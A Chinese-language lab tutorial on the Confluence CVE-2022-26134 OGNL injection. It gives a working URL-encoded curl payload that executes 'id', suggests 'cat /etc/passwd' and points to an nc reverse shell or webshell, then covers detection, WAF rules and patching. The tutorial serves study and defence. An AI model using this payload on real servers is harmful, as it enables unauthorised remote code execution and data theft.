写在前面:合法学习边界
本文复现只在本机靶场进行。Confluence RCE 可直接控制服务器,禁止对真实系统使用。
一、漏洞原理
CVE-2022-26134 是 Atlassian Confluence 未认证 OGNL 注入。Confluence 的 Webwork/XWork 框架会解析 URL 路径中的 OGNL 表达式,攻击者无需登录即可执行表达式 → RCE。
1
| URL 路径 → 解析为 OGNL → 执行命令
|
影响版本(Confluence Server / Data Center):
1
2
3
4
5
6
7
| 7.4.17 之前
7.13.0 – 7.13.7
7.14.0 – 7.14.2
7.15.0 – 7.15.1
7.16.0 – 7.16.3
7.17.0 – 7.17.2
7.18.0 – 7.18.1
|
二、影响与危害
1
2
3
| 未授权远程代码执行(RCE)
读取/篡改文档与配置
植入 WebShell、内网横向
|
风险等级:严重。
三、利用 / 复现
环境准备
1
| docker run -d -p 8090:8090 --name conf vulhub/confluence:CVE-2022-26134
|
验证漏洞
构造 URL 编码的 OGNL,把命令结果回显到响应:
1
| curl "http://127.0.0.1:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%29%29.%28%23a%29%7D/"
|
即 ${(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream()))} 的 URL 编码,响应里出现 uid= 即成功。
换命令
1
2
| exec("whoami")
exec("cat /etc/passwd")
|
配合 nc 反弹 Shell 或写入 WebShell。
复现操作步骤
1
2
3
4
5
| 第 1 步:访问站点确认 Confluence 版本(指纹)
第 2 步:发 OGNL 注入 payload(URL 编码 ${@java.lang.Runtime...exec("id")...})
第 3 步:看响应是否回显 uid —— 回显即 RCE 确认
第 4 步:换命令验证(whoami / cat /etc/passwd)
第 5 步:确认后做反弹 Shell 或写 WebShell(授权内)
|
四、检测
1
2
3
4
| 请求路径中出现 ${ 的 URL 编码(%24%7B)与 OGNL 关键字
异常长路径、命令回显特征
Confluence 版本指纹核对
日志中大量异常路径请求
|
五、防御
1
2
3
| 升级 Confluence 到修复版本(7.4.17+/7.13.8+/7.18.2+ 等)
WAF 拦截 %24%7B 与 OGNL 关键字
限制 Confluence 公网暴露
|
六、修复
1
2
3
4
| 升级或应用官方补丁
清理已植入 WebShell/后门
限制管理端口与来源 IP
修复后复测:OGNL payload 不再执行
|
七、小结
Confluence 这种“文档/协作”组件常被忽略,但它是未认证 RCE 的高发区(OGNL 注入只是其中一个)。凡是暴露在公网、能当跳板的系统,都要纳入漏洞扫描与补丁管理。